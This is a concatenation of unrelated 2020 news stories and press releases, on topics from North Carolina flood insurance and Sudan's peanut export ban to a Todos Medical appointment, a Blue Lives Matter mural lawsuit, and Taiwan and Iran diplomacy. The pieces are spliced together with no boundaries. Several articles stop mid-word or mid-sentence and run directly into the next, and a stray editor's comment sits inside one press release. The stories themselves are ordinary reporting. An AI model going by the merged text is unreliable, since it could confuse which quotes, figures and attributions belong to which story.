northeast coast each had 10 hurricane-based Federal Emergency Management Agency (FEMA) emergencies.Those three counties tied for first place nationally."With hurricane season coming, we just wanted to see over the past decade, from 2010 to 2019, which places and states that are usually affected by hurricanes have experienced the most disaster declarations by FEMA," said Andrew Hurst, the author of the report. "And then coinciding with that, which of those places have either not so much flood coverage, or enough flood coverage that the majority of the population could feasibly withstand the damage that a hurricane would bring."Homeowner insurance doesn't cover flood damage, Hurst said. Property owners need to buy flood insurance separately."I was trying to encourage people to maybe learn something that they might not know that they'd need, and maybe just ask people to reevaluate their individual situations" on whether to purchase flood insurance," Hurst said.The frequent hurricane findings don't surprise officials in Brunswick and Dare counties, who said their experiences have led them to put in regulations and practices to handle the storms."We stick out in the Atlantic, and folks come to Cape Hatteras and we've been impacted by storms for many, many years," said Dare County Emergency Management Director Drew Pearson.Officials in Dare County don't trust recently updated FEMA flood maps that reclassified parts of their community as less at-risk for flooding than before meaning property owners would in those zones no longer have to purchase flood insurance, said county Planning Director Donna Creef."These are properties that we know have flooded in the past," she said.So the county and the six towns in Dare County all enacted new building codes for those zones, Creef said, that require people building homes to put the living areas at least 8 feet above the ground.Dare County also has an active program to help people with existing homes elevate them, Pearson said.And Dare County is also strongly encouraging people to purchase flood insurance even if it's not required for their mortgages or they otherwise aren't told to get it, Creef said.As Isaias approached, Dare County evacuated Hatteras Island. In Brunswick County, Holden Beach and Ocean Isle Beach also ordered non-residents to leave or stay out of town.Prior to the storm's arrival, the Brunswick County town leaders were criticized for that decision, said Brunswick County Commissioners' Chairman Frank Williams."In hindsight, was probably a brilliant thing to do, if you look at it, because they don't have people that got stuck here," Williams said. "Whereas some of the other beaches have people that came down and checked in, and now their house that they were rented is uninhabitable and their car got flooded out."Isaias' 5-foot storm surge, which hit at high tide and on a full moon late on Aug. 3, caused much damage in Brunswick County's beach communities, said Emergency Services Director Edward Conrow.On Oak Island, the ocean washed over and washed away miles of sand dunes that otherwise protect the properties, Conrow said, "so another storm this year potentially could be catastrophic."There also was damage in Ocean Isle Beach, Holden Beach, Bald Head Island and Southport, where numerous boats were ripped from their moorings and smashed onto land and into each other.Dare and Hyde counties have the highest rate of flood insurance policies, Hurst said, with Dare at over 100%."There are more policies than there are homes, so people have a lot of their businesses insured," he said.The insurance rate in Brunswick County is 0.9%, Hurst said.Williams, the county commissioner, said much of Brunswick County is miles from the beaches and sounds at its barrier islands, "so storm surge isn't an issue for them."It's not a 'one-size-fits-all' to talk about that percentage on a county-wide level of having flood insurance," Williams said.But the inland landscape is also largely flat, he added, so the county has regulations requiring stormwater infrastructure to help draw away the water that accumulates following heavy rains.Paul Woolverton can be reached at pwoolverton@fayobserver.com and 910-261-4710.2020 Gaston Gazette, Gastonia, N.C.Visit Gaston Gazette, Gastonia, N.C. at www.gastongazette.comDistributed by Tribune Content Agenc A poster advertising Sichuan Women Promote Sichuan Specialties, a livestreaming activity on July 24 in Southwest China's Sichuan Province [sichuan.scol.com.cn] A livestreaming activity titled Sichuan Women Promote Sichuan Specialties was held by the Sichuan Women's Federation and local authorities in Southwest China's Sichuan Province on July 24. The event was organized to increase awareness of local products. The activity brought together a total of 22 presidents from women's federations at various levels in Sichuan, along with female entrepreneurs, village officials and live hosts. Participants presented various products including those unsold due to COVID-19 epidemicand shared the stories behind the products with netizens. Sichuan Women Promote Sichuan Specialties, a livestreaming activity, is held in Southwest China's Sichuan Province on July 24. [Sichuan Women's Federation] "The first product I would like to recommend today is 'Jinshan rose treatment lotion,' which was developed by two winners of the honorable title of March 8th Red-banner Holder. Later, I will tell you the stories behind the lotion," said Lu Furong, Vice-President of the Sichuan Women's Federation, during the activity, which was broadcast live on TV and network platforms. Chen Wanghui, a village official of the Ngawa Tibetan Qiang Autonomous Prefecture in Sichuan, is one of the lotion's developers. She led villagers to plant roses in a mountainous area and successfully created the most productive high-altitude damask rose-planting base in the world. Wang Li, another developer, is a scientist. After studying abroad, she served as the leader of a scientific research team at the National Traditional Chinese Medicine Safety Evaluation Center of Sichuan University. A rose treatment lotion is recommended during the livestreaming activity held in Southwest China's Sichuan Province on July 24. [Sichuan Women's Federation] When Chen and Wang met, they decided to work together to help impoverished women attain economic prosperity through green and sustainable development. They cooperated to roll out a series of high-quality rose-based products, including the lotion. A total of 6,200 bottles of the lotion introduced by Lu were sold during the livestreaming activity. "In response to the epidemic prevention and control measures, the event aims to build a market expansion platform for women and enterprises, helping them increase income and boost business development," explained Lu. The online event also aroused overseas attention. Wen Qian, Director of the Women's Home of the Sichuan Free Trade Area, got a phone call after the activity, saying that overseas Chinese communities hope to cooperate with her to promote local products. During the epidemic period, Wen guided several enterprises to establish themselves on e-commerce platforms, and trained people to be experienced livestreaming celebrities. Various agricultural products from Liangshan Yi Autonomous Prefecture are promoted during the livestreaming activity held in Southwest China's Sichuan Province on July 24. [Sichuan Women's Federation] "With the rapid development of e-commerce in the Internet era, livestreaming has become an important means for enterprises to expand their market," said a cadre of the Sichuan Women's Federation. "The event is the first demonstration in a series of activities, and the women's federations will continue to organize such events across the province," she noted, adding that all regions in the province will share the livestreaming platform, expand sales channels for local products and accelerate the construction of an e-commerce base for women. These measures are intended to contribute to poverty alleviation and rural revitalization, as well as local economic development. Also, Sichuan Province is going to offer more online and offline training to local women and help foster a group of influential female livestreaming celebrities for the e-commerce industry. "For me, today's activity is a timely course on e-commerce. It's also an exploration of how livestreaming shows can help local people shake off poverty," said Wang Huijuan, a village-stationed official in Luhuo County, Ganzi Tibetan Autonomous Prefecture, who participated in the livestreaming e-commerce event for the first time. Some exquisite crafts are shown during the livestreaming activity held in Southwest China's Sichuan Province on July 24. [Sichuan Women's Federation] (Source: China Women's News/Translated and edited by Women of China) A man has been arrested after after police swooped on a central London estate where the suspect had allegedly barricaded himself inside. Six fire engines and some 40 fire fighters were called to the Peabody Estate on Farringdon Lane just before 3.10pm on Monday. They found no fire but were threatened by a man inside the block, who barricaded himself inside as police officers arrived. A number of neighbouring of flats were evacuated as a precaution. A Scotland Yard spokesman said: At approximately 7.50pm, the man was arrested on suspicion of grievous bodily harm with intent and arson. "He will be taken to an east London police station.. DURANGO, Colo., Aug. 11, 2020 /PRNewswire/ -- In partnership with the La Plata County community, local government, business and public health leaders, AidtoAll, a nonprofit providing financial aid in response to crisis, is launching its first pilot community grant program to provide financial assistance to small businesses and individuals impacted financially by COVID-19 in the La Plata County, Colorado area. AidtoAll is a 501(c)(3) public charity, identifying individual needs and distributing donations within communities utilizing a fintech-driven, community-led digital platform and a hyper-localized approach to enable neighbors to help each other during a crisis. AidtoAll was founded by Matt Taylor, a former executive at financial technology solutions provider FIS, and resident of Durango. Taylor is also the former CEO of Mercury Payment Systems, a Durango-based payment processing provider that was acquired by Vantiv in 2014. Leveraging 16 years of leadership experience in financial technology, Taylor assembled the AidtoAll leadership team, including a number of pro bono professional services agencies and dozens of field-expert volunteers who tirelessly collaborated to pursue the AidtoAll mission and launch the platform in La Plata County, Colorado. "The fabric of our society is stitched together by the small businesses and the people who work in every hometown we live in, and they are critical to our recovery from the economic effects of COVID-19," said Taylor. "AidtoAll augments crisis response within communities by utilizing a localized, marketplace approach a safe and trusted method of convening those in need and anyone who can help. AidtoAll's technology-led approach to disaster relief is intended to help communities weather this crisis together. We're starting in my hometown, Durango, and throughout the broader community of La Plata County, Colorado." AidtoAll has partnered with FIS, a leading provider of technology solutions for merchants, banks and capital markets firms globally, by utilizing a combination of FIS' Integrated Payments, E-commerce and Prepaid Debit Card technologies to provide its online donation and aid distribution capabilities. "FIS is proud to help launch this community-focused giving initiative which aligns so closely with our 'Be the Change' core value," said Asif Ramji, Chief Growth Officer, FIS. "We're excited to see how this innovative new idea can grow and help address our nation's challenge of connecting those who have the heart and means to give with those that need immediate help." Traditional and newly created charity programs along with government aid have been unable to meet all of the needs created by the COVID-19 economic crisis. Additional aid is still desperately needed to reach those who don't have enough help or are left behind altogether. AidtoAll has created an unbiased platform, removing friction and red tape, that provides timely and direct financial relief from within the community. Aid from inside the community is complemented by regional, state and national organizations. "As the governor's office works aggressively to address the threat COVID-19 poses to our state's economic and social well-being, we are reassured knowing communities are also working to provide rapid and direct resources for financial assistance to the business community," said Betsy Markey, Executive Director of the Colorado Office of Economic Development and International Trade. "AidtoAll, its mission and its partnership with La Plata County represents the pioneering, can-do spirit that defines Colorado and is a significant example of how private and nonprofit sectors can partner with government entities to better serve Colorado communities." AidtoAll's methodology is designed to integrate with local communities' crisis response capabilities and is rooted in ensuring their economic success. The value in leveraging the insights of local leadership and community-based resources, which include economic development agencies, local governments, nonprofits and NGOs, is core to addressing local needs. Mike French, AidtoAll board member, is the executive director of the La Plata Economic Development Alliance. Mike's role in leading regional economic recovery efforts during this crisis has been essential in guiding the localized approach and integrating AidtoAll's solution into the local community. "The La Plata Economic Development Alliance is committed to the AidtoAll mission, as it is a mechanism for economic stimulus to the small business workforce that will continue to need help in these challenging times," said French. "It is critical that a rural community like ours keep our workforce intact so that they can return to full capacity when the business landscape allows. That is essential to both economic recovery, as well as long-term community resiliency." AidtoAll.org also provides communities with a public dashboard that displays up-to-date data on applicants' total monthly needs, available donations to meet those needs and total aid distributed through its platform during a crisis. AidtoAll is designed to fund hardships for small businesses and individuals, one month at a time, from within their own communities. The program will provide funding for as long as crisis is affecting each community utilizing its platform. Applications are available online at AidtoAll.org in a secure, online portal and are designed to be streamlined, requiring less than 10 minutes to complete and optimized for access from any desktop or mobile device. La Plata County residents can get more information and apply for the grants by going to https://www.aidtoall.org About AidtoAll AidtoAll is a 501(c)(3) public charity, identifying individual need and distributing donations within communities utilizing a fintech-driven, community-led digital platform and a hyper-localized approach to enable neighbors to help each other during a crisis. Visit AidtoAll.org for more details. Community Partners for La Plata County Include: FIS La Plata County Economic Development Alliance, Executive Director City of Durango Town of Bayfield Southern Ute Indian Tribe La Plata County, Colorado Fort Lewis College Durango Business Improvement District Durango Chamber of Commerce Chamber of Commerce Local First Foundation Community Foundation Serving Southwest Colorado Alpine Bank El Moro First Southwest Bank Vectra Bank CONTACT: Marie Rotter, AidtoAll [email protected] 303-907-9826 SOURCE AidtoAll Related Links https://www.aidtoall.org Sudan has been a top producer of peanuts for so long that the nutritious variety is called the "Sudani" -- but a government export ban has left traders reeling. Rimaz Ahmed, commercial director of Abnaa Sayed Elobeid, one of Sudan's major agricultural export companies, was stunned by the sudden decision of the trade ministry to ban the export of raw peanuts. The government says it wants Sudan to process the nuts inside the country to earn more money. But traders said they were not given time to prepare. "It's a shock because we were not warned," Ahmed said, of the April 1 restrictions. "Overnight, we lost important markets. Immediately, India replaced us." The two main customers for Sudan's peanuts were China and Indonesia. On the wall of Ahmed's office, a poster in English praising the crops -- "Peanuts: a Culture with the Flavours of Sudan" -- seems to be from another time. - 'As if France banned wine' - The export ban was a shock for many in the African nation, which, according to the UN, is the fifth largest peanut producer, with 14 percent of world production. Protein-rich peanuts, which are also called groundnuts, provide rural employment and much needed foreign exchange. Before the trade ban, peanuts were Sudan's fifth biggest international earner after gold, sesame, oil and livestock. The decision comes at a tough time for the country. Sudan has endured years of international isolation and sanctions, and is now emerging from decades of dictatorship. Longtime strongman Omar al-Bashir was toppled last year after months of mass demonstrations. For Sudan, peanuts are a flagship product, like another of its major exports, gum arabic. "It is as if France banned the export of wine overnight, or if Italy stopped selling its spaghetti abroad," Ahmed said. Income from the crop was rising. Sudan produced 1.5 million tonnes in 2019, worth 205 million dollars, according to central bank figures, up from 59 million dollars earned in 2018. Story continues Trade Minister Madani Abbas Madani defended halting exports "to maximise the market value of peanuts and the added value of Sudanese products, in light of climate change which affects the quality" of the product. For the government, the hope is that Sudan can earn more money through selling products from processed peanuts -- such as oil or butter. Peanuts can also be used in industrial products, including cosmetics. Critics of the ban on exporting unprocessed nuts have questioned why it was introduced so abruptly, suggesting that it might be a personal whim of the trade minister. But the minister has insisted his decision was "within the framework of government policy". He has yet to convince traders, however. "We agree in principle it may be good for the country, but we are not at all prepared," Ahmed said. "We have neither the machines nor the know-how. It will take time -- and in the meantime we have lost our big customers." For Sudan, a predominantly agricultural country, the ban could have a major impact on rural employment. - 'Shot itself in the foot' - The news has not yet reached some farmers. In Ardashiva, a village 70 kilometres (40 miles) south of the capital Khartoum, Khair Daoud, 31, digs around his peanut plants. This year, he has planted over 12 acres (almost five hectares) of peanuts, saying that if prices rise as they have done in recent years, he would nearly double his production next season. "If not, I will rely on okra, cotton or sorghum," the farmer said, dressed in traditional flowing white robes, with a neat skullcap of the same colour. "I haven't heard anything about exporting. I don't know if my buyers are selling my produce locally, or for export." Peanuts are well suited to Sudan's climate, growing both under irrigation in the centre and east, or from rainwater in war-torn Darfur in the west, or Kordofan in the south. At the chamber of commerce in Khartoum, businessman Izzeldin Malik said the government's ban was self-defeating. "With this decision, Sudan shot itself in the foot," said Malik, owner of the Rubicon peanut export company. "While the deficit in Sudan's trade balance should be reduced, the minister made a decision to increase it." sk/ab/pjm/hc/kir Russias Ministry of Finance publishes data on production of gold and silver in the country in January-November The Russian Federation Ministry of Finance reported that gold production in Russia in January-November amounted to 319.56 (January-November 2020 314.41 tons), including mining 274.14 tons (January-November 2020 271.14 tons)... Petra boosts H1 revenue, output Petra Diamonds has increased its first-half revenue for the fiscal year 2022 by 49% to $264.7 million compared to $178.1 million, a year earlier. The increase was driven by an improved sale of exceptional stones totalling $77.9 million from the previous... Tiffany & Co presents a new jewelry collection Tiffany & Co, part of the LVMH group, has released a new jewelry collection called Tiffany Knot. The new jewelry line, which has joined the list of iconic Tiffany & Co projects, is conceived as a tribute to New York, where Charles Lewis Tiffany founded... BlueRock boosts Q4 revenue BlueRock Diamonds, which owns the Kareevlei diamond mine in South Africa, has improved its fourth-quarter revenue by 68% on the back of higher diamond prices. The diamond miner said it raked in about $3 million in the three months ended December... REHOVOT, Israel, SINGAPORE and NEW YORK, NY, Aug. 04, 2020 (GLOBE NEWSWIRE) -- via NEWMEDIAWIRE -- Todos Medical Ltd. (OTCQB: TOMDF), an in vitro diagnostics company focused on distributing comprehensive solutions for COVID-19 screening and diagnosis, and developing blood tests for the early detection of cancer and Alzheimers disease, today announced that it has appointed Jorge Leon, Ph.D. as consulting Chief Medical and Scientific Officer (CMSO) for Infectious Disease and Oncology. Dr. Leon has served as Todos medical advisor since July 2019. As medical advisor I have been able to follow Todos progress over the last year as theyve continued to build their exciting pipeline of diagnostics for cancer and Alzheimers disease, said Dr. Leon. The approach Todos has taken to enter COVID-19 testing has been spot on, by focusing on an accurate, scalable and diverse product portfolio, coupled with reliable access to the key instrumentation needed to equip a large number of labs and supply them with the reagents and consumables needed to make a meaningful increase to PCR testing capacity in the United States. As we now have a clear framework from the U.S. Food and Drug Administration (FDA) to gain Emergency Use Authorization (EUA) for COVID+influenza A/B and COVID pool testing, we believe we are entering the fall with the right portfolio to become a significant player in the space, he added. We intend to begin to establish combined screening and reflex testing strategies using antigen, antibody and PCR pooling testing to screen patients and ultimately confirm the suspected COVID-19 cases with PCR testing. Todos is also developing an innovative saliva-based molecular test that could deliver point-of-care results in under five minutes, using a smartphone camera and software, which would represent a major advancement for the field. We expect to initiate clinical validation of that test in August in Israel with the hopes of gathering sufficient data to submit an EUA. Story continues Dr. Leon is internationally recognized for his pioneering work in molecular diagnostics. He holds a Ph.D. in cellular and molecular biology from New York University, and completed his postdoctoral studies at the German Cancer Research Center in Heidelberg and Columbia University in New York. Dr. Leons subsequent academic research at Columbia University focused on developing monoclonal antibody-based tumor marker assays and radio-immuno imaging devices, which are currently in wide use. In the early 1990s, Dr. Leon played an integral role in establishing and leading the molecular diagnostics laboratories at Quest Diagnostics. As Director of Molecular Diagnostics, Senior Director of Biotechnology Development and Vice President of Applied Genomics, Dr. Leon spent 12 years developing Quests molecular diagnostics strategy, which is now the worlds largest molecular diagnostics service laboratory. In 2003, Dr. Leon founded Leomics Associates, Inc., a consulting firm committed to helping prestigious, successful companies and academic institutions develop molecular diagnostics and personalized medicine in the United States and globally. Dr. Leon specializes in identifying breakthrough opportunities and industry trends, and helps start-up businesses, academic centers and established companies successfully build and commercialize innovative business strategies, product pipelines and test menus. Dr. Leon is significantly increasing his day-to-day role with Todos management team, adding significant intellectual capacity to develop the protocols to use available testing tools in combination to solve the testing challenges in the United States, said Gerald E. Commissiong, President & CEO of Todos Medical. We look forward to bringing Jorge into key discussions with our partners to deploy COVID-19 testing nationwide. For information related to Todos Medicals COVID-19 testing capabilities, please visit www.todoscovid19.com For testing and PPE inquiries, please email sales@todosmedical.com. About Todos Medical Ltd. Headquartered in Rehovot, Israel, Todos Medical Ltd. (OTCQB: TOMDF) engineers life-saving diagnostic solutions for the early detection of a variety of cancers. The Company's state-of-the-art and patented Todos Biochemical Infrared Analyses (TBIA) is a proprietary cancer-screening technology using peripheral blood analysis that deploys deep examination into cancer's influence on the immune system, looking for biochemical changes in blood mononuclear cells and plasma. Todos' two internally-developed cancer-screening tests, TMB-1 and TMB-2, have received a CE mark in Europe. Todos recently entered into an exclusive option agreement to acquire U.S.-based medical diagnostics company Provista Diagnostics, Inc. to gain rights to its Alpharetta, Georgia-based CLIA/CAP certified lab and Provista's proprietary commercial-stage Videssa breast cancer blood test. The transaction is expected to close in the third quarter of 2020. Todos is also developing blood tests for the early detection of neurodegenerative disorders, such as Alzheimer's disease. The Lymphocyte Proliferation Test (LymPro Test) is a diagnostic blood test that determines the ability of peripheral blood lymphocytes (PBLs) and monocytes to withstand an exogenous mitogenic stimulation that induces them to enter the cell cycle. It is believed that certain diseases, most notably Alzheimer's disease, are the result of compromised cellular machinery that leads to aberrant cell cycle re-entry by neurons, which then leads to apoptosis. LymPro is unique in the use of peripheral blood lymphocytes as a surrogate for neuronal cell function, suggesting a common relationship between PBLs and neurons in the brain. The Company recently completed the acquisition of Breakthrough Diagnostics, Inc., which owns the rights to LymPro Test in July 2020 from Amarantus Bioscience Holdings, Inc. (OTC: AMBS). Additionally, Todos has entered into distribution agreements with companies to distribute certain novel coronavirus (COVID-19) test kits. The agreements cover multiple international suppliers of PCR testing kits and related materials and supplies, as well as antibody testing kits from multiple manufacturers after completing validation of said testing kits and supplies in its partner CLIA/CAP certified laboratory in the United States. Todos has formed strategic partnerships with Meridian Health, Moto-Para Foundation to deploy COVID-19 testing in the United States. For more information, please visit https://www.todosmedical.com/. Forward-looking Statements Certain statements contained in this press release may constitute forward-looking statements. For example, forward-looking statements are used when discussing our expected clinical development programs and clinical trials. These forward-looking statements are based only on current expectations of management, and are subject to significant risks and uncertainties that could cause actual results to differ materially from those described in the forward-looking statements, including the risks and uncertainties related to the progress, timing, cost, and results of clinical trials and product development programs; difficulties or delays in obtaining regulatory approval or patent protection for product candidates; competition from other biotechnology companies; and our ability to obtain additional funding required to conduct our research, development and commercialization activities. In addition, the following factors, among others, could cause actual results to differ materially from those described in the forward-looking statements: changes in technology and market requirements; delays or obstacles in launching our clinical trials; changes in legislation; inability to timely develop and introduce new technologies, products and applications; lack of validation of our technology as we progress further and lack of acceptance of our methods by the scientific community; inability to retain or attract key employees whose knowledge is essential to the development of our products; unforeseen scientific difficulties that may develop with our process; greater cost of final product than anticipated; loss of market share and pressure on pricing resulting from competition; and laboratory results that do not translate to equally good results in real settings, all of which could cause the actual results or performance to differ materially from those contemplated in such forward-looking statements. Except as otherwise required by law, Todos Medical does not undertake any obligation to publicly release any revisions to these forward-looking statements to reflect events or circumstances after the date hereof or to reflect the occurrence of unanticipated events. For a more detailed description of the risks and uncertainties affecting Todos Medical, please refer to its reports filed from time to time with the U.S. Securities and Exchange Commission. Investor and Corporate Contact: Kim Sutton Golodetz LHA Investor Relations Senior Vice President (212) 838-3777 kgolodetz@lhai.com Corporate Contact: Daniel Hirsch Todos Medical (347) 699-0029 Dan.h@todosmedical.com [BV1]Note his title includes Consulting, not a full-time, on-staff executive. Bihar Chief Minister Nitish Kumar on Tuesday paid heartfelt tributes to Rahat Indori, who died at a hospital in Indore. In his condolence message, the chief minister, whose love for is well known in the political circles here, described Indori as a "renowned poet and an excellent human being". "He ruled the hearts of his fans through his verses. He also penned lyrics for many film songs. His death has caused an irreparable loss to the world of Urdu and literature", Kumar said and prayed for the departed soul and hoped that his bereaved family members would find the strength required to bear the grief. The 70-years-old poet, whose love for his home town led him to adopt the pen name "Indori" suffered a cardiac arrest barely a day after testing positive for COVID-19. He is best remembered for poems like "kisi ke baap ka Hindustan thodi hai" which aimed at making a political statement against marginalization of communities. His lyrics for movies like Munnabhai MBBS, Mission Kashmir, Murder and Ghatak were chartbusters. (Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.) Two pro-police groups have filed a lawsuit against New York City Mayor Bill de Blasio after he denied their request to paint a Blue Lives Matter mural in Manhattan, similar to the one Black Lives Matter painted outside of Trump Tower. The lawsuit, filed late Monday by Blue Lives Matter NYC and Standing up for NYC in the Southern District of New York, accuses de Blasio and Department of Transportation Commissioner Polly Trottenberg of violating the groups First Amendment rights. According to the organizations, the alleged constitutional breach stems from de Blasio and Trottenberg allowing city property to be used by private speakers yet forbidding a similar mural in support of law enforcement. The "Black Lives Matter" message is highly political and is generally understood by the public to be and support a general anti-police message, include some extreme measures as defunding the police and ending police activity, the suit reads. Two pro-police groups have filed a lawsuit against New York City Mayor Bill de Blasio after he denied their request to paint a Blue Lives Matter mural in Manhattan, similar to the one Black Lives Matter painted outside of Trump Tower The lawsuit, filed late Monday by Blue Lives Matter NYC and Standing up for NYC in the Southern District of New York, accuses de Blasio and Department of Transportation Commissioner Polly Trottenberg of violating the groups First Amendment rights The groups wanted to emblazon the words Blue Lives Matter on the street outside One Police Plaza to call attention to the dangers of policing that officer face every day on the job, they said. They also suggested using Broadway and West 45th Street in midtown as an alternative location, but both suggestions were denied by City Hall. Founder of Blue Lives Matter NYC, Sgt. Joe Imperatrice, said in a statement that he just wanted to be granted the same privilege to bring to light a cause that we so believe in would change the trajectory of equality for all those with the same interest. Certain politicians have gotten away from equality and fairness for all, and have given privilege to certain groups, Imperatrice continued. Thats not what being American is all about and thats sure not what being a New Yorker is all about. In their original plea to de Blasio last month, the group saluted the mayor for his support of the Black Lives Matter movement and his attempts to bring awareness to systemic racism, but wanted to shed light on a cause of their own. As you may know, as of today, over 30 Police Officers have been killed in line of duty by firearms this year alone, a joint statement from the two groups read. We would like to raise awareness regarding preventable murders of those who swore an oath to serve and protect their communities, and honor the lives and memory of public servants whose heroic lives ended too soon. The groups say they wanted to emblazon the words Blue Lives Matter on the street outside 1 Police Plaza to call attention to the dangers of policing that officer face every day on the job The group wanted a similar mural to the Black Lives Matter one displayed on Fifth Avenue, outside of Trump tower (above) Founder of Blue Lives Matter NYC, Sgt. Joe Imperatrice (left), said in a statement that he just wanted to be granted the same privilege to bring to light a cause that we so believe in would change the trajectory of equality for all those with the same interest The group said they would pay for the mural themselves, and said they were counting on de Blasios unbiased support for the proposed project. De Blasio later refused the request, declaring in late July that Black Lives Matter transcends any notion of politics This is about something much bigger than any one group. Standing up for NYC co-founder Jason Cohen voiced his disappointment over de Blasios decision Tuesday, writing in a statement announcing the suit that the mural would have been significant in many aspects, mainly to honor the memories of those NYPD officer who gave their lives as the ultimate sacrifice Its also relevant toward boosting the moral for our men and women who wear the blue uniform which becomes their lives, in response to a City that now scorns and defunds them,' he added. Fellow group co-founder Tatiana Davidoff, said she believe painting the Blue Lives Matter mural was the smallest thing the city could do to show its respect for [police] during these controversial times. De Blasio, meanwhile, approved the painting of a series of Black Lives Matter murals throughout the Big Apple, even participating in painting a small portion of the one outside of Trump tower, which the president said would be denigrating Fifth Avenue President Trump said we would be denigrating the luxury of Fifth Avenue, De Blasio said in response to Trump's tweet. Let me tell you: we're not denigrating anything, we are liberating Fifth Avenue, we are uplifting Fifth Avenue' The Blue Lives Matter organization, a loosely affiliated group of police officers, emerged as a counter-movement to the Black Lives Matter movement after the 2014 killings of NYPD officers Rafael Ramos and Wenjian Liu. The group has inspired some state-level legislation seeking to make law enforcement a protected class under hate crime laws. A coalition of civil rights groups including the NAAACP slammed that legislation as a political response to nationwide calls for police reform. De Blasio, meanwhile, approved a series of Black Lives Matter murals throughout the Big Apple last month, even participating in painting a small portion of the one outside of Trump tower, which the president said would be denigrating Fifth Avenue. President Trump said we would be denigrating the luxury of Fifth Avenue, De Blasio said in response to Trump's tweet. Let me tell you: we're not denigrating anything, we are liberating Fifth Avenue, we are uplifting Fifth Avenue. City Hall has not yet responded to a DailyMail.com request for comment on the lawsuit. ST. JOHN'S, N.L. - A second person who works on the St. John's-shot TV series "Hudson & Rex" has tested positive for COVID-19, but the show's producer says the two cases linked to the canine-cop program do not pose a risk to the community. Hey there, time traveller! This article was published 10/8/2020 (526 days ago), so information in it may no longer be current. A German shepherd named Diesel vom Burgimwald who plays Rex in the TV series "Hudson & Rex" is seen in this undated handout photo. The canine-cop TV series "Hudson & Rex" has been hit by COVID-19. Show producer Paul Pope says an individual involved in the Newfoundland-shot production has tested positive for the disease. THE CANADIAN PRESS/HO, Jessie Brinkman Evans *MANDATORY CREDIT* ST. JOHN'S, N.L. - A second person who works on the St. John's-shot TV series "Hudson & Rex" has tested positive for COVID-19, but the show's producer says the two cases linked to the canine-cop program do not pose a risk to the community. "The system worked in terms of identifying somebody with a case," producer Paul Pope said in an interview Monday. "What I would say to Newfoundland, my province where I live: we have not introduced anything into the community. It's been contained within our production." Newfoundland and Labrador's Health and Community Services Department confirmed Monday the second case involves a cast member of the television series. Authorities said the man's contacts are being advised to quarantine. Pope said the cast member was exposed to a woman involved with the show's production who tested positive for the virus last week after arriving in St. John's from Toronto. Both people are between the ages of 20 and 39 and are self-isolating. Pope could not say more about the cast member's role, citing privacy reasons. Shooting for the series was shut down Sunday but resumed Monday. Pope said he didn't think the cast member's illness will disrupt the show's production schedule. But, he added, the length of that person's absence will be determined by the regional health authority. "It's all in eastern health's hands now in terms of when that person can come back to work," he said. Pope said the woman who arrived from Toronto by plane last Thursday had contact with the cast member and one other person involved with the show. The other individual tested negative for the virus. The infected woman is not a local resident and was given an exemption to enter the province, which has a strict travel ban aimed at slowing the spread of COVID-19. There are now two active cases of COVID-19 in the province, where three people have died from the virus and 263 people have recovered. Last month, "Hudson & Rex" became one of the first narrative TV series to resume production in Canada since the COVID-19 pandemic began. The Citytv series follows detective Charlie Hudson, played by John Reardon, and his German shepherd partner, Diesel vom Burgimwald. Pope said there are approximately 200 people working on the show. Out of that group, there are between 10 and 15 people who live outside Newfoundland and stay in St. John's for the shooting period. Pope said there are between four and six people who fly in to Newfoundland to help shoot each episode. The show uses a private limousine service to transport them to a hotel where they are tested. They are allowed to mingle with others working on the series after the negative result, and Pope said a second test is done after 48 hours. This report by The Canadian Press was first published Aug. 10, 2020. Taiwans Foreign Minister Joseph Wu raised the issue of Chinese pressure with US Health Secretary Alex Azar, saying Beijing wants to turn the democratic island into the next Hong Kong. Azar arrived in Taiwan on August 9, much to the displeasure of China, and held several meetings with top leaders of the sovereign island. Our life has become increasingly difficult as China continues to pressure Taiwan into accepting its political conditions, conditions that will turn Taiwan into the next Hong Kong, said Joseph at a joint news conference with Azar. The self-governing island republic considers itself as sovereign while China claims the province as Beijings territory under its one-China policy and has been pushing to implement the Hong Kong system in Taiwan. Hong Kong, a former British Colony, returned to Chinese rule in 1997 on condition of higher autonomy but Beijings crackdown on pro-democracy voices under the new security law has made Taiwan wary of Chinas expansionist behaviour. Read: Taiwan Says Chinese Fighter Jets 'driven Out' By Its Air Force After They Crossed Strait Read: China Calls Out US Over Azar's Taiwan Visit, Urges It To Cease Contact With Island Chinese aggression Amid the highest-level US official to visit in four decades, China again tried to harass Taiwan, with its fighter jets briefly crossing the media line of the Taiwan Strait. The defence ministry said that the fighter jets were tracked by Taiwan's land-based anti-aircraft missile system before they were driven out by the country's air force. Joseph thanked the US envoy for making the historic visit and acknowledged the importance of American support in Taiwan's fight to defend its democracy against authoritarian aggression. The diplomat said that it is not just about Taiwans status, but about sustaining democracy in the face of authoritarian aggression. During the visit, Secretary Azar praised Taiwan for successfully combating COVID-19 and cooperating with the United States to prevent, detect, and respond to health threats. He said that Taiwans response to COVID-19 has been among the most successful in the world, calling it a tribute to the open, transparent, democratic nature of Taiwans society and culture. Taiwans success in health and industry has allowed it to extend a helping hand to others, sending needed supplies around the world, including to the United States and Pacific Island nations, he added. Read: US Envoy Mispronounces Taiwan President's Name, Opposition Demands Clarification Read: US Health Chief Offers Strong Support To Taiwan During Historic Visit The United Nations Security Council is all set to vote this week on the United States' proposal of extending an arms embargo on Iran. According to reports, the move by the United States is bound to fail as most of the countries from the 15-member council disagree with the text with Russia and China, who enjoy veto powers, have already hinted at supporting their ally Iran. Washington has reportedly accused Beijing and Moscow of wanting to end the arms embargo so they can restart selling weapons to Tehran and benefit from it. Read: Six Gulf Arab Countries Back Extension Of UN Arms Embargo On Iran According to reports, the embargo is due to expire in October this year, which the United States wants to be extended indefinitely. Some reports also suggest that Washington wants to terminate the nuclear deal signed in 2015, which is why it is threatening to use a provision in the agreement to bring back all UN sanctions on Iran if the embargo is not accepted. The UN sanctions will force Iran to breach the deal as Tehran will have no incentive to continue following the conditions with the financial burden put on it by the global the body. The US had unilaterally withdrawn from the deal in 2018 with Donald Trump calling it "the worst deal ever". Read: Iran Accused Of Proliferating Weapons, GCC Urges UNSC To Extend Arms Embargo UNSC vote As per reports, the 15-member council will have 24 hours to submit their decision virtually as the meeting will be held online due to the coronavirus pandemic. After the submission of the votes, the result will be announced at a public meeting. The resolution will need at least nine votes in order to force Russia and China to use their veto powers, which some experts say will not happen as the US will struggle to secure even nine votes for the proposed text. Apart from the five permanent members - the US, Russia, China, France, and the UK, there ten non-permanent members as well, who are elected for two-year terms by the General Assembly. Read: United States To Call UN Vote On Iran Arms Embargo Extension: Mike Pompeo Read: Pompeo Pushes For Arms Embargo At UN, Russian 